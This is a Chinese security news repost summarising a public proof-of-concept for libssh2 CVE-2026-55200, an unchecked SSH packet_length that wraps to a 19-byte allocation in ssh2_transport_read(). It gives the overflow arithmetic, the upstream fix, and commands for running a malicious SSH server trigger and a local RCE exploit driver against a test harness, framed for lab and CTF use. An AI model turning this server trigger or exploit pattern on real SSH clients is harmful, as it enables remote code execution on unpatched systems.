libssh2CVE-2026-55200PoC和本地RCE"

admin 2026-10-24 02:13:47 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

libssh2 CVE-2026-55200 PoC 和本地 RCE

Ots安全

2026年6月24日 11:01
广东

在小说阅读器读本章

去阅读

威胁简报

恶意软件

漏洞攻击

此目录包含针对 CVE-2026-55200 的本地研究成果,CVE-2026-55200packet\_length是 libssh2ssh2\_transport\_read()传输解析器路径中未检查的 SSH 条件。

研究状态:算术验证器、加密 SSH 触发框架和受控本地 RCE 框架已验证。

项目地址:

https://github.com/bikini/exploitarium/tree/main/libssh2-cve-2026-55200-poc

概括

libssh2 1.11.1 及更高版本在一个完整的数据包解密路径中接受了攻击者控制的 SSH 数据包长度,而没有首先强制执行 RFC 规定的 libssh2 数据包最大长度。

易受攻击的源结构如下:

total_num = 4packet_length = decoded SSH packet_length fieldreject only if packet_length < 1total_num += packet_length + mac_len + auth_lenreject if total_num > 35000 or total_num == 0allocate total_num bytes

使用packet\_length=0xffffffff、mac\_len=0和auth\_len=16,易受攻击的 C 表达式可以产生分配大小19:

packet_length + mac_len + auth_len == 15  modulo 2^324 + 15 == 19

原始数据packet\_length仍然保留。即使在分配决策已经做出之后,0xffffffff后续的完整数据包处理仍然可以使用从数据包长度推导出的大小,包括样式长度。packet\_length - 1

上游修复packet\_length > LIBSSH2\_PACKET\_MAXPAYLOAD在添加之前就被拒绝了。

文件

  • poc/cve\_2026\_55200\_probe.c- 独立的 C11 算术验证器。
  • poc/libpwn\_cve\_2026\_55200\_server.py- 最小的恶意 SSH 服务器/触发器脚手架。
  • poc/libpwn\_local\_rce\_harness.c- 受控的本地易受攻击目标,模拟了封装分配到控制模式。
  • poc/libpwn\_local\_rce\_exploit.py- 本地漏洞利用驱动程序,覆盖漏洞利用回调并创建 RCE 证明文件。
  • evidence/2026-06-23-local-harness-output.txt- 早期算术验证证据。

受影响的源路径

受影响的路径位于:

src/transport.c:ssh2_transport_read()

修复方案已在上游提交中实现:

97acf3dfda80c91c3a8c9f2372546301d4a1a7a8

相关修复程序packet_length > LIBSSH2_PACKET_MAXPAYLOAD在完整数据包路径中易受攻击的添加部分之前添加了一个保护措施。

算术验证器

Linux、macOS、WSL 或 MinGW:

gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe poc/cve_2026_55200_probe.c./cve_2026_55200_probe

使用 MinGW 的 Windows PowerShell:

gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe.exe .\\poc\\cve_2026_55200_probe.c.\\cve_2026_55200_probe.exe

实用模式:

./cve_2026_55200_probe --benign./cve_2026_55200_probe --native./cve_2026_55200_probe --check./cve_2026_55200_probe --packet-length 0xffffffff --mac-len 0 --auth-len 16

预期默认证明条件:

vulnerable32_decision=acceptedvulnerable32_allocation=19fixed32_decision=rejected: out of boundarynative_unpatched_decision=acceptednative_note=source-shaped integer expression wraps before assignment into 64-bit size_tresult=PASS

恶意 SSH 触发

本地密码学和算术自测:

python poc/libpwn_cve_2026_55200_server.py --self-test

最小 SSH 握手、密钥派生、服务器到客户端序列号和加密触发器的回环测试:

python poc/libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0

作为一次性恶意服务器运行,接受挑战客户端的测试:

python poc/libpwn_cve_2026_55200_server.py --serve --listen-host 0.0.0.0 --listen-port 2222

--listen-host针对您的实验室实例进行更改--listen-port。脚本顶部还包含以下内容:

HOST = \"\"PORT = 0

故意打开。

服务器协商curve25519-sha256RSA 主机密钥认证,[email protected]然后发送格式错误的加密服务器到客户端数据包,其解密后的 SSHpacket\_length为0xffffffff。

受控局部 RCE 线束

#构建本地易受攻击的目标:gcc -O0 -g -Wall -Wextra -o poc/libpwn_local_rce_harness poc/libpwn_local_rce_harness.c #使用 MinGW 的 Windows PowerShell:gcc -O0 -g -Wall -Wextra -o poc\\libpwn_local_rce_harness.exe poc\\libpwn_local_rce_harness.c #运行本地漏洞利用驱动程序:python poc/libpwn_local_rce_exploit.py --harness ./poc/libpwn_local_rce_harness --proof ./poc/libpwn_rce_proof.txtcat poc/libpwn_rce_proof.txt #Windows PowerShell: python poc\\libpwn_local_rce_exploit.pyGet-Content poc\\libpwn_rce_proof.txt #预期证据:

RCE_PROOF=PASS

libpwn-rce-verified

该测试框架通过将模型化的 19 字节分配状态溢出到回调指针并创建来证明本地命令的执行libpwn\_rce\_proof.txt。

64 位注释

64 位 Linux 目标仍然是此漏洞的潜在目标。在未打补丁的 libssh2 源代码中,易受攻击的分支会packet\_length + mac\_len + auth\_len先使用 32 位/整数操作数进行计算,然后再将结果添加到内存分配中size\_t,因此会0xffffffff + 0 + 16循环到内存分配中15,最终4 + 15变成内存分配大小19。

验证状态

已在本地核实:

python poc\\libpwn_cve_2026_55200_server.py --self-testpython poc\\libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0gcc -O0 -g -Wall -Wextra -o poc\\libpwn_local_rce_harness.exe poc\\libpwn_local_rce_harness.cpython poc\\libpwn_local_rce_exploit.pypython -m py_compile poc\\libpwn_cve_2026_55200_server.py poc\\libpwn_local_rce_exploit.py

限制

libpwn\_cve\_2026\_55200\_server.py这是一个经过本地验证的 CVE 触发器/框架。将其转化为可靠的、针对特定挑战的 flag 读取/远程代码执行 (RCE) 链,仍然取决于目标二进制文件、分配器行为、缓解措施以及挑战如何调用 libssh2。

libpwn\_local\_rce\_harness.c这是一个受控的验证目标,并非适用于所有 libssh2 部署的通用漏洞利用程序。它展示了 CTF/HTB 服务仍需匹配或调整的漏洞利用模式。

参考

  • CVE记录:https://www.cve.org/CVERecord?id=CVE-2026-55200
  • NVD条目:https://nvd.nist.gov/vuln/detail/CVE-2026-55200
  • 上游修复:https://github.com/libssh2/libssh2/commit/97acf3dfda80c91c3a8c9f2372546301d4a1a7a8
  • 上游公关:https://github.com/libssh2/libssh2/pull/2052
  • VulnCheck 安全公告:https://www.vulncheck.com/advisories/libssh2-out-of-bounds-write-via-unchecked-packet-length-in-transport-c

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


    libssh2CVE-2026-55200PoC和本地RCE" 网络安全文章

    libssh2CVE-2026-55200PoC和本地RCE"

    文档详细分析libssh2库CVE-2026-55200漏洞,该漏洞因未检查SSH数据包长度字段导致整数溢出,可能引发远程代码执行。研究提供算术验证器、恶意SSH服务器脚本及本地RCE利用框架,验证通过控制packet\\_length=0xffffffff可实现19字节异常分配。文档包含完整PoC代码、修复方案及多平台测试指南,具备较高实操价值。
    别让一次断电,毁掉你所有的数据安全——UPS巡检为什么不能省?" 网络安全文章

    别让一次断电,毁掉你所有的数据安全——UPS巡检为什么不能省?"

    本文强调UPS巡检对数据安全的关键作用,指出电池老化、元件劣化、参数漂移和散热问题是主要隐患。文档详细列出了日常、月度和季度的巡检频率及具体检查项目(如状态指示灯、电压测量、电池放电测试),并明确人员资质要求与必须立即处理的告警类型(如电池故障、过载)。核心建议是通过定期预防性维护避免断电导致业务中断,而非故障后补救。
    键盘" 网络安全文章

    键盘"

    文档内容主要为界面导航元素与占位符图片,包含小说阅读器入口及地区时间信息,未提供实质性技术内容或可操作建议。
    评论:0   参与:  0